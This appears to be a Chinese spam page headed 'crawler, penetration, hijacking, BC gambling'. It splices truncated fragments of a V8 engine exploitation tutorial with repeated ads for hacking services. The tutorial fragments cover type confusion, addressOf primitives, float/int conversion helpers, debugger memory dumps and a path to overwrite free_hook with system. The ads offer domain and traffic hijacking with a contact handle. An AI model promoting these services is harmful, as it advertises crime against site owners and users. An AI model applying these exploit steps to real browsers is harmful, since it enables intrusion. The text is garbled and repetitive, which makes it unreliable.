爬虫 渗透劫持BC博彩

正如我们上一节所说，JavaScript 不允许我们直接读取某一个地址，但通过 “类型混淆” 的方法能够让 v8引擎 将一个地址误认为整数，并将其读出 addressOf 同上所述，我们讲这种类型混淆的读取地址方法称之为 “addressOf” 其一般的写法如下： //获取某个变量的地址 var other={"a":1}; var obj_array=[other]; var double_array=[2.1]; var double_array_map=double_array.getMap();//假设我们有办法获取到其 map 值 function addressOf(target_...

并且两个都是 JS_ARRAY_TYPE，大多数数据都是相同的，因此可以直接将一个变量的 map 地址赋给另外一个变量，使得在读取值时错误解析数据类型，也就是所谓的“类型混淆” 类型混淆是有可能造成地址泄露的，可以考虑这样的代码： float_arr= [2.1]; obj_arr=[float_arr]; %DebugPrint(a); %DebugPrint(b); %SystemBreak(); 承接App，网站，渗透，爬虫等业务 劫持域名 劫持流量 联系客服：@YaMaa8

另外，上述代码中的 int_to_float 等函数需要自行定义，实现如下： function float_to_int(f) { f64[0] = f; return bigUint64[0]; } function int_to_float(i) { bigUint64[0] = i; return f64[0]; } 承接App，网站，渗透，爬虫等业务 劫持域名 劫持流量 联系客服：@YaMaa8

0b:0058│ 0x3e63081d3614 —▸ 0x55b235c86190 —▸ 0x3e6300000000 ◂— sub rsp, 0x80 0c:0060│ 0x3e63081d361c —▸ 0x1998dd4f3000 ◂— jmp 0x1998dd4f3480 /* 0xcccccc0000047be9 */ 可以注意到在 wasmInstance+0x68 处保存了内存段的起始地址，读取该处即可 泄露地址手记 目前为止都是通过自定义一部分变量完成地址泄露的，但这个地址只是某个匿名内存段罢了承接App，网站，渗透，爬虫等业务 劫持域名 劫持流量 联系客服：@...

可以注意到，顺着这个地址链查下去，最终能找到地址 0x55cc9e9ba260 ，该地址对应了 d8 的二进制程序中的代码地址，而整个 d8 在内存中是连续的，因此可以找到其 GOT 表，然后再从中得到 libc 的机制，最后即可覆盖 free_hook 或 free 的 got 表为 system 或 one gadget

JSArray结构体--> Map结构体-->constructor结构体-->code属性地址-->code内存地址的固定偏移处保存了 v8 的二进制指令地址-->v8 的 GOT 表--> libc基址： pwndbg> job 0x34d808049979 0x34d808049979: [JSArray] - map: 0x34d808203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] 承接App，网站，渗透，爬虫等业务 劫持域名 劫持流量 联系客服：@YaMaa8

上述代码中的 int_to_float 等函数需要自行定义，实现如下： function float_to_int(f) { f64[0] = f; return bigUint64[0]; } function int_to_float(i) { bigUint64[0] = i; return f64[0]; pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x55cc9e121000 0x55cc9e954000 r--p 833000 0 /pa...